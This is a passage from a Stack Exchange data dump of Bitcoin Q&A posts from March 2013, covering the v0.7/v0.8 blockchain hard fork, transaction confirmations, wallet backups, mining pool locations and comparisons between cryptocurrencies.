0000000000000190f5944e56c52600e9d8d4d5416432e03b324bc85c51629bcd&#xA;225451  2013-03-12 02:06:07  00000000000003bdcc4424dea94de83e9f54ca158ae3eac59c2e97c2f90a32ad&#xA;225450  2013-03-12 02:01:28  000000000000026a105de544bfbe71bca0820ac3963ba132c75ec40411b5f162&#xA;225449  2013-03-12 01:50:05  00000000000001f15726ea57dc7702407a3ebc097ed801cb3d7b0e8a450807cb&#xA;225448  2013-03-12 01:38:10  00000000000001f9fd0b0cab82deca5f53030911b33ba7dd7ce3fd77ad2c5a55&#xA;225447  2013-03-12 01:34:55  00000000000000ec24f812807f81aadb7a665ef4ab8b8aa49df5ef789cdc13ff&#xA;225446  2013-03-12 01:30:40  00000000000000757de9173ee2f01c9f957c8aa3b4f71b901b0fa19683ab1fa1&#xA;225445  2013-03-12 01:14:54  00000000000000ec0df675972dddf0c2bdb1d436064672a6f0b79ce65ffcade6&#xA;225444  2013-03-12 01:07:00  00000000000003381ed79de2fa810c0e4f0e9c0cd5d307380b779e2b5ffa982e&#xA;225443  2013-03-12 01:05:42  0000000000000213874009d269b90be16ea5c1f6a83a79ae2be3813d8972a2a3&#xA;225442  2013-03-12 00:50:25  0000000000000229cd059490b7607ca4c191c52bb40405fa052c48d72bfda8b0&#xA;225441  2013-03-12 00:39:25  0000000000000372a4c37e27587255ca77a6377391c1974f13ea55ec1d3bc01b&#xA;225440  2013-03-12 00:20:11  00000000000003264ac7a6a74ca779997ee637b30f84debcb6ba6c26e2d09f4b&#xA;225439  2013-03-11 23:49:08  000000000000015aab28064a4c521d6a5325ff6e251e8ca2edfdfe6cb5bf832c&#xA;225438  2013-03-11 23:47:25  000000000000019881625f04eac2046512fa1e1bd7193f56f39595d802bbbd04&#xA;225437  2013-03-11 23:34:58  000000000000000016b3a292d63f9eea6b8177b8ba8dfd621d36fd828e5cb187&#xA;225436  2013-03-11 23:34:35  00000000000001a23b3f38106f210493795a1ef6b21dd559f87ada8dfc84181b&#xA;225435  2013-03-11 23:22:47  00000000000000947452b814ed008f750023e64c8fd03bb19b3865716eeb243d&#xA;225434  2013-03-11 23:08:53  00000000000002528688a366a9f42c07089268cd8a474961c49f787cb385807e&#xA;225433  2013-03-11 23:07:54  00000000000001b3c862fd66689712bc1cdd44fc004c008ada6c1b51367686f2&#xA;225432  2013-03-11 22:56:44  00000000000002c9e42c23f6eed2b9f9152a440610dcfaf992357c3cbff3689c&#xA;225431  2013-03-11 22:46:35  00000000000002d2012cc1b3fc0cceb8c156f0e698db40bf4413a210eca056c3&#xA;225430  2013-03-11 22:39:09  000000000000015c50b165fcdd33556f8b44800c5298943ac70b112df480c023&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-03-13T23:00:09.043" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8340" PostTypeId="2" ParentId="8338" CreationDate="2013-03-12T07:25:10.483" Score="6" Body="&lt;p&gt;You don't need anyone's permission to use it. Nobody can freeze your account or charge back a payment after you received it. It's accessible to anyone with Internet access regardless of what country they're in. No single company can dictate its policy. It is almost free to use with no proportional fees.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-12T07:25:10.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8343" PostTypeId="2" ParentId="1181" CreationDate="2013-03-12T09:30:06.957" Score="2" Body="&lt;p&gt;I've tried several of them, found the following to best suit my likings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bitcoin.clarkmoody.com/&quot; rel=&quot;nofollow&quot;&gt;http://bitcoin.clarkmoody.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Live streamed data&lt;/li&gt;&#xA;&lt;li&gt;Multi-Currency support&lt;/li&gt;&#xA;&lt;li&gt;Depth of market table is great&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3305" LastActivityDate="2013-03-12T09:30:06.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8344" PostTypeId="1" CreationDate="2013-03-12T11:42:49.823" Score="8" ViewCount="1371" Body="&lt;p&gt;As a result of an &lt;strong&gt;&quot;official&quot;&lt;/strong&gt; change in back-end databases from BDB in v0.7 to LevelDB in v0.8, in addition to an increase &lt;em&gt;(by some mining pools)&lt;/em&gt; to a higher block size limit, there was &lt;a href=&quot;http://bitcoinmagazine.com/bitcoin-network-shaken-by-blockchain-fork/&quot; rel=&quot;nofollow&quot;&gt;recent &lt;strong&gt;&quot;hard fork&quot;&lt;/strong&gt;&lt;/a&gt; at blockchain height &lt;a href=&quot;http://blockchain.info/block-height/225430&quot; rel=&quot;nofollow&quot;&gt;225430&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Miners were originally told to switch back to v0.7, but then later informed that v0.8 was fine as long as they don't increase the default &lt;em&gt;(256kb -- soft limit)&lt;/em&gt; block size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what happens to block &lt;a href=&quot;http://blockchain.info/block-height/225430&quot; rel=&quot;nofollow&quot;&gt;225430&lt;/a&gt; for v0.8 miners? Are they required to reload the database from &amp;lt;&lt;a href=&quot;http://blockchain.info/block-height/225430&quot; rel=&quot;nofollow&quot;&gt;225430&lt;/a&gt; with new &quot;max block size&quot; limits? How did this problem supposedly just fix itself &lt;em&gt;(as has been reported &lt;a href=&quot;https://bitcointalk.org/index.php?topic=152030&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;)&lt;/em&gt;, or is this still a problem as blockchain.info continues to &lt;strong&gt;&quot;sequentially&quot;&lt;/strong&gt; report orphaned blocks &lt;a href=&quot;http://blockchain.info/orphaned-blocks&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;? My last question would be what happens to the transactions that were linked to block &lt;a href=&quot;http://blockchain.info/block-height/225430&quot; rel=&quot;nofollow&quot;&gt;225430&lt;/a&gt; &lt;em&gt;(and are now UTXO)&lt;/em&gt;, won't v0.8 still consider them spendable?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'm sure this all would make a lot more sense if I had a better&#xA;  understanding of Bitcoin's block &lt;code&gt;reorg&lt;/code&gt; logic. Perhaps a pseudo-code&#xA;  walk-through of the process might help.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; the 2 chains seemed to have merged &lt;a href=&quot;http://blockchain.info/block-height/225462&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; &lt;em&gt;(after 32 sequentially orphaned blocks)&lt;/em&gt;. So how exactly did v.0.8 clients handle the reorg for 32 blocks? Is there a maximum reorg that Bitcoin can handle? Was it easier to double-spend during the 5+ hour blockchain correction?&lt;/p&gt;&#xA;" OwnerUserId="2375" LastEditorUserId="112" LastEditDate="2013-04-09T08:20:57.633" LastActivityDate="2013-04-09T08:20:57.633" Title="How was the blockchain's &quot;hard fork&quot; automatically resolved?" Tags="|blockchain|mining-pools|blockchain-fork|march-2013-fork|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8347" PostTypeId="2" ParentId="8344" CreationDate="2013-03-12T13:43:43.663" Score="5" Body="&lt;p&gt;The highest blockchain containing only valid blocks is always the &quot;correct&quot; blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 225430-block was accepted by 0.8 clients/miners, but due to a flaw in 0.7 clients/miners couldn't accept the block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 0.7-fork was accepted by all client and miners, and the 0.8-fork was only accepted by 0.8 clients/miners. The core Bitcoin developers decided they wanted the 0.7-fork to be highest, however 0.8 had the most mining power, so the developers asked mining pools to switch back to the 0.7 client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After some time, the 0.7 blockchain (which didn't have the &quot;flawed&quot; transaction) was highest, and 0.8 clients/miners would treat this as being the &quot;real&quot; blockchain (and stop mining on the blockchain with the transaction 0.7 clients didn't accept).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 0.8 fork is simply treat as many orphaned blocks and is not worth anything (it can't be spend, etc).&lt;/p&gt;&#xA;" OwnerUserId="2785" LastEditorUserId="516" LastEditDate="2013-03-13T02:31:13.860" LastActivityDate="2013-03-13T02:31:13.860" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8348" PostTypeId="2" ParentId="8325" CreationDate="2013-03-12T14:35:18.767" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is it intended for there to only be a finite number of blocks solved&#xA;  in a certain timeframe?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.  The intended rate is 1 block per 10 minutes, which is 144 blocks per day, which is 2016 blocks every 2 weeks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To estimate the difficulty, flip around the &quot;time to generate a block at a hash rate&quot; equation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;difficulty=((Time for a block to be found in seconds)*(hashes per second))/2^32&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the time is 600 and the hashrate is whatever you want.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastEditorUserId="3310" LastEditDate="2013-03-13T14:26:22.100" LastActivityDate="2013-03-13T14:26:22.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8349" PostTypeId="2" ParentId="8320" CreationDate="2013-03-12T14:41:30.277" Score="0" Body="&lt;p&gt;Yes.  The wallet.dat file is all you need to be able to keep your coins backed up.  You'll also obviously need your password if you've encrypted your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, backing up the entire folder may be advisable if you're on a slow internet connection.  The blockchain is getting rather sizable and can take a significant amount of time to redownload from scratch.  I recently needed to do that and it took almost 2 full days.&lt;/p&gt;&#xA;" OwnerUserId="3310" LastActivityDate="2013-03-12T14:41:30.277" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8350" PostTypeId="1" CreationDate="2013-03-12T16:58:27.290" Score="3" ViewCount="194" Body="&lt;p&gt;Are mining pool managers evenly distributed across the planet? where are the biggest ones located? Like where are the servers physically located? Recently the backbone ISP for all of the Universities in Michigan went down and everyone on each campus was offline&lt;a href=&quot;http://www.michigandaily.com/article/university-internet-malfunction-muddles-midterms&quot; rel=&quot;nofollow&quot;&gt;1&lt;/a&gt;. Could something larger of this nature potentially take out some pool managers and therefore some pools, thereby increasing the hash share of the online pools and risking a 51% attack?&lt;/p&gt;&#xA;" OwnerUserId="1766" LastActivityDate="2013-03-12T22:28:08.317" Title="Are mining pools evenly distributed across the planet?" Tags="|mining-pools|pool-operators|risk-mitigation|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8352" PostTypeId="2" ParentId="2102" CreationDate="2013-03-12T19:29:10.433" Score="0" Body="&lt;p&gt;Localbitcoins.com for hand to hand exchages&lt;/p&gt;&#xA;" OwnerUserId="3316" LastActivityDate="2013-03-12T19:29:10.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8353" PostTypeId="2" ParentId="8290" CreationDate="2013-03-12T19:57:41.030" Score="2" Body="&lt;p&gt;What happened in the March 2013 fork was that two different versions of the bitcoin client disagreed about what a valid block was. You could look for a block reorg, but that will only show up when the fork is fixed. How could you detect a hard fork as soon as it happens?&lt;/p&gt;&#xA;&lt;p&gt;Well, you could run 5 different versions of the bitcoin client at once, then figure out when they get out of sync for a few minutes. That's when you know there's a version-specific fork. I should note that this is mainly aimed at getting the client fixed faster, not protecting a merchant.&lt;/p&gt;&#xA;&lt;h2&gt;Detecting being out of sync&lt;/h2&gt;&#xA;&lt;p&gt;You could write a program that polled all of clients looking for their latest block.&lt;/p&gt;&#xA;&lt;p&gt;Psuedocode:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;run on each node&#xA;  block number = node.getblockcount()&#xA;  latest block = node.getblockbycount(block number)&#xA;  latest block hash = latest block['hash']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Oh, by the way, this requires the &lt;a href=&quot;http://yyz.us/bitcoin/patch.bitcoin-getblock&quot; rel=&quot;nofollow noreferrer&quot;&gt;getblock patch&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now, if these differ for more than a minute or so (and you're not still in the initial syncing phase) then you might have a hard fork.&lt;/p&gt;&#xA;&lt;h2&gt;Making sure you have a good connection to the network&lt;/h2&gt;&#xA;&lt;p&gt;Let's say that you had a 0.8 client that was only connected to 0.7 clients. Even though it would have accepted the blocks in the March fork, it never even hears about them, meaning we won't detect the fork.&lt;/p&gt;&#xA;&lt;p&gt;I'm not sure how to solve this. Perhaps upping &lt;code&gt;MAX_OUTBOUND_CONNECTIONS&lt;/code&gt; ?&lt;/p&gt;&#xA;&lt;h2&gt;Preventing false alerts&lt;/h2&gt;&#xA;&lt;p&gt;If network conditions were really bad, then it's possible that one client would receive a new block, but the others wouldn't. You should use &lt;code&gt;addnode&lt;/code&gt; to make them all talk to each other.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2013-03-12T19:57:41.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8354" PostTypeId="2" ParentId="4516" CreationDate="2013-03-12T22:18:21.680" Score="-2" Body="&lt;p&gt;Probally just goes to default NMC address&lt;/p&gt;&#xA;" OwnerUserId="3317" LastActivityDate="2013-03-12T22:18:21.680" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8355" PostTypeId="2" ParentId="8350" CreationDate="2013-03-12T22:28:08.317" Score="1" Body="&lt;p&gt;Evenly distributed, no.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are pools on nearly every continent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But a pool only has the hashing power of the individual miners participating.  Miners can (and do) jump from one pool to another when connectivity issues occur, or when workload isn't received, or when payouts stop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Individual miners are much more spread out. Areas with cheaper electricity got higher participation than areas with lower electricity, but now with ASICs that will probably not be as much of a factor for a couple years again.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-12T22:28:08.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8356" PostTypeId="1" AcceptedAnswerId="8547" CreationDate="2013-03-13T01:58:21.830" Score="6" ViewCount="517" Body="&lt;p&gt;I'm creating an offline index to report off of the block chain.  I plan on indexing each transaction based on the address displayed in the TX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are all addresses Base58?   I believe I also read about a compact address and an address type that was used in the beginning of the blockchain before Satoshi knew of/implemented address compression using Base58.&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-05-30T17:11:33.820" Title="How many different formats can a public address take?" Tags="|address|public-key|multi-signature|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8357" PostTypeId="2" ParentId="8175" CreationDate="2013-03-13T02:30:51.250" Score="3" Body="&lt;p&gt;You can issue the &lt;code&gt;account_lines&lt;/code&gt; command to a Ripple server to find out what credit lines have been extended by or to an account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can use this &lt;a href=&quot;http://www.websocket.org/echo.html&quot; rel=&quot;nofollow&quot;&gt;websocket test&lt;/a&gt; page to issue websocket queries. Set the location to &lt;code&gt;wss://s1.ripple.com:51233&lt;/code&gt;, click &lt;code&gt;use secure&lt;/code&gt;, and then connect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then paste this in the &lt;code&gt;Message&lt;/code&gt; window:&lt;br&gt;&#xA;&lt;code&gt;{ &quot;command&quot; : &quot;account_lines&quot;, &quot;account&quot; : &quot;rvYAfWj5gh67oV6fW32ZzP3Aw4Eubs59B&quot; }&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This pulls the credit lines that Bitstamp has. You'll see entries like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;     {&#xA;        &quot;account&quot; : &quot;rrpNnNLKrartuEqfJGpqyDwPj1AFPg9vn1&quot;,&#xA;        &quot;balance&quot; : &quot;-501.64408854616&quot;,&#xA;        &quot;currency&quot; : &quot;BTC&quot;,&#xA;        &quot;limit&quot; : &quot;0&quot;,&#xA;        &quot;limit_peer&quot; : &quot;10000&quot;,&#xA;        &quot;quality_in&quot; : 0,&#xA;        &quot;quality_out&quot; : 0&#xA;     },&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that Bitstamp owes &lt;code&gt;rrpNnNLKrartuEqfJGpqyDwPj1AFPg9vn1&lt;/code&gt; 501.64 BTC (Bitcoins) and that user has extended them a credit limit of 10,000 Bitcoins.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-03-13T02:30:51.250" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8358" PostTypeId="1" CreationDate="2013-03-13T02:40:33.947" Score="5" ViewCount="347" Body="&lt;p&gt;According this this WikiPage, &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions#Multisignature_transactions&quot; rel=&quot;nofollow&quot;&gt;a MultiSigTransaction that doesn't include a fee may never get included in a block.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I've read that replacing Transactions (by version number or any other feature) isn't enabled, how can I expedite the replacement and updating of this?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastEditorUserId="2306" LastEditDate="2013-03-13T15:32:45.277" LastActivityDate="2013-03-13T15:32:45.277" Title="How can I cancel and replace a Transaction that never gets confirmed?" Tags="|transactions|block|transaction-fees|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8359" PostTypeId="2" ParentId="8358" CreationDate="2013-03-13T02:51:51.997" Score="2" Body="&lt;p&gt;I'll take a stab at this, from a very simplistic approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best way to replace it is to pretend it didn't happen. Reset the blockchain in use, and continue as normal. The client (or &lt;code&gt;bitcoind&lt;/code&gt;) will be unaware of the transaction, and the mistake transaction will eventually be disregarded by all nodes, invalidated, and discarded.&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-03-13T02:51:51.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8360" PostTypeId="1" AcceptedAnswerId="8373" CreationDate="2013-03-13T03:19:24.417" Score="18" ViewCount="96924" Body="&lt;p&gt;As a regular user of Bitcoin, I often send bitcoins to other, or receive BTC from others, sometimes this might be a trade or deposit. Some traders require at least 6 confirmation, some require at least 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to how many confirmation is enough to ensure the transaction is successful?&lt;/p&gt;&#xA;" OwnerUserId="3176" LastActivityDate="2013-03-13T13:07:27.283" Title="How many confirmations do I need to ensure a transaction is successful?" Tags="|transactions|confirmations|" AnswerCount="3" CommentCount="1" ClosedDate="2013-04-05T10:57:05.870" ContentLicense="CC BY-SA 3.0" />
  <row Id="8361" PostTypeId="1" CreationDate="2013-03-13T03:51:44.457" Score="3" ViewCount="186" Body="&lt;p&gt;This question is inspired by how the Vanity Gen pool operates.  Basically there are two sets of keys and addresses: one that is stored at the Wallet hosting provider, the other set is derived from a Brain wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to sign the transaction, the keys are combined by adding the two keys (as hex numbers) together (Pubkey + Pubkey) and (PrivKey + PrivKey).  Although I think there is an alternate implementation that multiplies the keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, has anyone explored the concept of using a Brain Wallet in conjunction with a hosted wallet for additional security?&lt;/p&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2013-09-15T14:27:34.240" Title="Is anyone mathematically adding a Brain Wallet key with a hosted wallet (like vanitygen) for extra security?" Tags="|wallet|vanitygen|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8362" PostTypeId="1" AcceptedAnswerId="8365" CreationDate="2013-03-13T05:48:08.997" Score="2" ViewCount="124" Body="&lt;p&gt;Can miners who mine in a pool ignore the request to revert their bitcoind to 0.7, and stay with 0.8? As far as I know, it's the pool that counts in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Except P2Pool, which behaves a bit differently)&lt;/p&gt;&#xA;" OwnerUserId="78" LastActivityDate="2013-03-13T06:44:57.247" Title="Is there a reason pooled miners should revert to 0.7 due to the fork?" Tags="|mining-pools|blockchain-fork|march-2013-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8363" PostTypeId="1" CreationDate="2013-03-13T06:10:20.463" Score="1" ViewCount="2148" Body="&lt;p&gt;More generally, in economic aspect, when new currency are issued, and be accepted by groups of people, how will the new currency affect existing currency, ignoring other factors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex. How will BTC affect existing USD?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex2. How will LTC affect existing BTC?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ex3. If a country used to use USD as there currency, but they decide to use a new currency to replace USD, when this currency is becoming more and more important, how will USD be influenced?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that it is more easier to develop new currency for people, not only country, &lt;strong&gt;how will BTC find a way out to win the competition with other currency&lt;/strong&gt; like LTC. What will be the key point in the process?&lt;/p&gt;&#xA;" OwnerUserId="3176" LastEditorUserId="3176" LastEditDate="2013-03-14T08:56:46.117" LastActivityDate="2013-03-14T09:37:52.700" Title="How will other coins like LiteCoin influence market price of BTC?" Tags="|economic-theory|currencies|litecoin|" AnswerCount="3" CommentCount="0" ClosedDate="2013-03-19T21:02:47.993" ContentLicense="CC BY-SA 3.0" />
  <row Id="8364" PostTypeId="2" ParentId="8196" CreationDate="2013-03-13T06:42:14.803" Score="0" Body="&lt;p&gt;I think pricing bitcoins will be influence by one more factor at last, the competition market of transaction fees between users and miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an explanation and the simulation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value of bitcoins is the sum cost of keep transactions moving, but I think this great feature is not obviously revealed in current market. Bitcoin provide a way of low cost(low power to compute) to keep transactions smooth, ex the sum power cost is &lt;strong&gt;X&lt;/strong&gt;. And people in developed economic activities can afford to provide low transaction fees, ex &lt;strong&gt;Y&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lowest transaction fee is a constant value price in a period.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, the volumes sum of bitcoins should be equal to X, and X equals 2.1 * 10^7 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1BTC = X* 10^-7 / 2.1 = 1X/(2.1Y) * 10^-7 *Y&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The more mining power join BTC, the bigger X is, and the pricing of BTC will go up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Current Y/X is too high, because of kinds of reasons, ex two many middleman like Wall Street.&lt;/p&gt;&#xA;" OwnerUserId="3176" LastEditorUserId="3176" LastEditDate="2013-03-13T06:47:58.963" LastActivityDate="2013-03-13T06:47:58.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8365" PostTypeId="2" ParentId="8362" CreationDate="2013-03-13T06:44:57.247" Score="4" Body="&lt;p&gt;Miners who use a pool don't necessarily even have bitcoind. They use separate mining software (which does not constitute a node, or build blocks or anything of the sort) and the bitcoins they receive are first credited to the pool eWallet, and can then be withdrawn to any wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The pool is the one choosing the blocks and even if the miner's wallet happens to be bitcoind it has no influence on this process. So there is no reason to downgrade.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-03-13T06:44:57.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8366" PostTypeId="2" ParentId="8360" CreationDate="2013-03-13T10:18:02.967" Score="0" Body="&lt;p&gt;With 6 confirmations you are safe from double spends and the like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For low-value transactions, 1 or 2 are likely enough.&lt;/p&gt;&#xA;" OwnerUserId="196" LastEditorUserId="196" LastEditDate="2013-03-13T11:01:57.373" LastActivityDate="2013-03-13T11:01:57.373" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8367" PostTypeId="1" AcceptedAnswerId="8368" CreationDate="2013-03-13T10:38:00.840" Score="3" ViewCount="264" Body="&lt;p&gt;I want my site to accept bitcoins (and automatically reward users with it), but do not want to deal with the security issues that would entail.&lt;br&gt;&#xA;Is there a SaaS (Software as a Service) which could handle all the hassle for me?&lt;/p&gt;&#xA;" OwnerUserId="3324" LastEditorUserId="5406" LastEditDate="2014-05-02T17:30:56.377" LastActivityDate="2014-05-02T17:30:56.377" Title="I want my website to accept bitcoins without dealing with security issues" Tags="|security|ecommerce|payment-processors|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8368" PostTypeId="2" ParentId="8367" CreationDate="2013-03-13T10:44:55.403" Score="2" Body="&lt;p&gt;I would suggest integrating &lt;strong&gt;&lt;a href=&quot;https://bitpay.com/&quot; rel=&quot;nofollow&quot;&gt;https://bitpay.com/&lt;/a&gt;&lt;/strong&gt;&#xA;They charge you like any other service but they do all the payment stuff. Also they have plugins for most open source shopping carts &lt;a href=&quot;https://bitpay.com/bitcoin-shopping-cart-plugins&quot; rel=&quot;nofollow&quot;&gt;Bitpay plugins&lt;/a&gt;&#xA;Also keep you wallet offline to avoid problems.&lt;/p&gt;&#xA;" OwnerUserId="3150" LastActivityDate="2013-03-13T10:44:55.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8369" PostTypeId="2" ParentId="8358" CreationDate="2013-03-13T11:07:28.307" Score="3" Body="&lt;p&gt;You could import the private keys used into another wallet and spend the funds there.  For instance, on Blockchain.info/wallet you simply do Advanced -&gt; Import and import the private keys (which can be exported from Bitcoin-Qt's debug console).&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-13T11:07:28.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8370" PostTypeId="2" ParentId="8367" CreationDate="2013-03-13T11:50:14.603" Score="1" Body="&lt;p&gt;Coinapult has an API that you can use to send coins to a user's mobile SMS/text number or via e-mail.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not really the right way to do it but it is one way of doing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also do it by distributing an Instawallet URL.   The person that knows the Instawallet URL can spend the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Redeemable codes would be another method.  You can hand out Mt. Gox redeemable codes denominated in BTCs.  The user needs to create a Mt. Gox account to redeem the voucher though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also distribute a private key like what is done for &lt;a href=&quot;http://bitaddress.org&quot; rel=&quot;nofollow&quot;&gt;Paper bitcoin wallets&lt;/a&gt;.  The methods for redeeming those are not user friendly though.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-13T11:50:14.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8371" PostTypeId="2" ParentId="8363" CreationDate="2013-03-13T11:54:07.423" Score="2" Body="&lt;p&gt;The currency in a country changes hands (the velocity) about 4 times per year (1%/day) and this gives the value of the currency.&#xA;The only way a new currency can (partially) replace another currency is by being better in some sense (e. g. lower transaction costs, backed by a proof-of-work protocol, more resistant to malicious attacks). If this happens the old currency will depreciate in value until the two currencies together change hands 4 times/year with the depreciation factor being dependent on the velocity of each currency which depends on market factors (e. g. BTC is used for drugs, USD is used for taxes). &#xA;However a new currency has to be much better than the incumbent to even have a chance to succeed. BTC is much better than USD in many respects and thus has a good chance to take market share from the fiat currencies.&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2013-03-13T11:54:07.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8372" PostTypeId="2" ParentId="8363" CreationDate="2013-03-13T11:58:12.427" Score="1" Body="&lt;p&gt;Bitcoin is a spec in USD's ocean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin is a tiny fraction of Bitcoin's pond.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin promises non-reversible transactions.  This promise is backed by 30 Thash/s of SHA hashing capacity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Litecoin claims to promise non-reversible transactions.  That promise is backed by a variable number of MHash/s of Scrypt hashing capacity.  That capacity can be matched by an attacker with less than $1 million USD.  There are many millions of USDs worth of GPUs looking for a new home. These may come to Litecoin's benefit or they may be the demise of Litecoins.  Who knows.   But Litecoin is not Bitcoin Lite.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2013-03-13T11:58:12.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
